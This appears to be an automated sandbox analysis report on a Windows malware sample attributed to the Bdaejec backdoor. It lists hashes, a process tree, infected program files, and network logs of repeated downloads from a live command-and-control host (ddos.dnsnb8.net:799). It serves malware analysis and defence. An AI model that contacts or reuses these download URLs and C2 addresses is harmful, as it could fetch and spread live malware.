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Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
07/01/2025, 02:24 UTC
Static task
static1
Behavioral task
behavioral1
Sample
2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe
Resource
win7-20240903-en
General
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Target
2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe
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Size
7.3MB
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MD5
40af4c7623a8b88a7cb103b40591730b
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SHA1
dabbf0b3db0a0cbe3dbe13b98cf396768a550392
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SHA256
82e7fd42d3085e843f9e8aa6ce4d660d1c76a216027b466d18891ec77927648d
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SHA512
1d698d47f2e7249dbe737be9dd7101ddeddf344bbc69cf685a3b46a213f1d27c7539398285faa50fe6da2d296d4ff2919c554e079d3cec0f9d0429870da73965
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SSDEEP
196608:KSxt5g3vWwe9f/3R4Zq4V+3XcJHQvFLOyomFHKnPot:KSxrg3+we9XR4Zq00Flt
Malware Config
Extracted
bdaejec
ddos.dnsnb8.net
Signatures
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Bdaejec family
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Detects Bdaejec Backdoor. 2 IoCs
Bdaejec is backdoor written in C++.
resource yara_rule behavioral1/memory/2736-41-0x0000000000830000-0x0000000000839000-memory.dmp family_bdaejec_backdoor behavioral1/memory/2736-11-0x0000000000830000-0x0000000000839000-memory.dmp family_bdaejec_backdoor -
resource yara_rule behavioral1/files/0x000b000000012266-6.dat aspack_v212_v242 behavioral1/memory/2904-44-0x0000000000140000-0x0000000000149000-memory.dmp aspack_v212_v242 -
Executes dropped EXE 1 IoCs
pid Process 2736 URDoBp.exe -
Loads dropped DLL 2 IoCs
pid Process 2904 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe 2904 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\SELFCERT.EXE URDoBp.exe File opened for modification C:\Program Files\7-Zip\7zG.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javac.exe URDoBp.exe File opened for modification C:\Program Files\Java\jre7\bin\javaw.exe URDoBp.exe File opened for modification C:\Program Files\Windows Journal\Journal.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec.exe URDoBp.exe File opened for modification C:\Program Files\Windows Sidebar\sidebar.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateBroker.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Windows Mail\wab.exe URDoBp.exe File opened for modification C:\Program Files\7-Zip\7z.exe URDoBp.exe File opened for modification C:\Program Files\Google\Chrome\Application\chrome.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\kinit.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\unpack200.exe URDoBp.exe File opened for modification C:\Program Files\Java\jre7\bin\jp2launcher.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\IEContentService.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MSACCESS.EXE URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\apt.exe URDoBp.exe File opened for modification C:\Program Files\Java\jre7\bin\ssvagent.exe URDoBp.exe File opened for modification C:\Program Files\Mozilla Firefox\minidump-analyzer.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Google\Update\Install\{5EB8F02B-573C-439E-BE36-635B3B6563D9}\chrome_installer.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroTextExtractor.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\WORDICON.EXE URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\orbd.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\policytool.exe URDoBp.exe File opened for modification C:\Program Files\Java\jre7\bin\klist.exe URDoBp.exe File opened for modification C:\Program Files\Java\jre7\bin\rmiregistry.exe URDoBp.exe File opened for modification C:\Program Files\Java\jre7\bin\servertool.exe URDoBp.exe File opened for modification C:\Program Files\Mozilla Firefox\private_browsing.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.EXE URDoBp.exe File opened for modification C:\Program Files\Java\jre7\bin\java.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\ssvagent.exe URDoBp.exe File opened for modification C:\Program Files\Java\jre7\bin\javacpl.exe URDoBp.exe File opened for modification C:\Program Files\Microsoft Games\Purble Place\PurblePlace.exe URDoBp.exe File opened for modification C:\Program Files\Windows Journal\PDIALOG.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\appletviewer.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\native2ascii.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\wsgen.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Eula.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\CLVIEW.EXE URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MSQRY32.EXE URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MSTORE.EXE URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE URDoBp.exe File opened for modification C:\Program Files\7-Zip\7zFM.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javadoc.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaw.exe URDoBp.exe File opened for modification C:\Program Files\VideoLAN\VLC\uninstall.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\jabswitch.exe URDoBp.exe File opened for modification C:\Program Files\Java\jre7\bin\javaws.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdate.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Google\Update\DisabledGoogleUpdate.exe URDoBp.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jvisualvm.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\rmic.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\xjc.exe URDoBp.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\GROOVEMN.EXE URDoBp.exe File opened for modification C:\Program Files\Windows Photo Viewer\ImagingDevices.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\java.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jinfo.exe URDoBp.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jsadebugd.exe URDoBp.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language URDoBp.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2904 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2904 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe 2904 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2904 wrote to memory of 2736 2904 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe 30 PID 2904 wrote to memory of 2736 2904 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe 30 PID 2904 wrote to memory of 2736 2904 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe 30 PID 2904 wrote to memory of 2736 2904 2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe 30 PID 2736 wrote to memory of 264 2736 URDoBp.exe 31 PID 2736 wrote to memory of 264 2736 URDoBp.exe 31 PID 2736 wrote to memory of 264 2736 URDoBp.exe 31 PID 2736 wrote to memory of 264 2736 URDoBp.exe 31
Processes
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C:\Users\Admin\AppData\Local\Temp\2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe"C:\Users\Admin\AppData\Local\Temp\2025-01-07_40af4c7623a8b88a7cb103b40591730b_bkransomware_wapomi.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Users\Admin\AppData\Local\Temp\URDoBp.exeC:\Users\Admin\AppData\Local\Temp\URDoBp.exe2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\25b45104.bat" "3⤵
- System Location Discovery: System Language Discovery
PID:264
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Network
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Remote address:8.8.8.8:53Requestddos.dnsnb8.netIN AResponseddos.dnsnb8.netIN A44.221.84.105
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Remote address:44.221.84.105:799RequestGET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k2.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k2.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k3.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k4.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k4.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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466 B 176 B 3 4
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k1.rar -
466 B 176 B 3 4
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k1.rar -
558 B 256 B 5 6
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k1.rar -
466 B 176 B 3 4
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k2.rar -
558 B 256 B 5 6
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k2.rar -
558 B 256 B 5 6
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k3.rar -
466 B 176 B 3 4
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k4.rar -
466 B 176 B 3 4
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k4.rar
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0I0VVMWQ\k2[1].rar
Filesize4B
MD5d3b07384d113edec49eaa6238ad5ff00
SHA1f1d2d2f924e986ac86fdf7b36c94bcdf32beec15
SHA256b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c
SHA5120cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6
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Filesize
187B
MD503088c725f703bde64063bc2610d1611
SHA18e3e4694a4f3e7648a10366e8e01137bad1f7df0
SHA25630f996fc339ee507243da233ad633e26052869a2cf09700a5f4d3235965f7dc6
SHA51247d5faa78d97499f70c9e4c269acb360d04c808a55a095c0668d1f38b88bb8e5cc14266f1e42231d39cf5cf6840f34a9b4322cc2d55694aa7b58dc652776b792
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Filesize
4B
MD520879c987e2f9a916e578386d499f629
SHA1c7b33ddcc42361fdb847036fc07e880b81935d5d
SHA2569f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31
SHA512bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f
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Filesize
15KB
MD556b2c3810dba2e939a8bb9fa36d3cf96
SHA199ee31cd4b0d6a4b62779da36e0eeecdd80589fc
SHA2564354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07
SHA51227812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e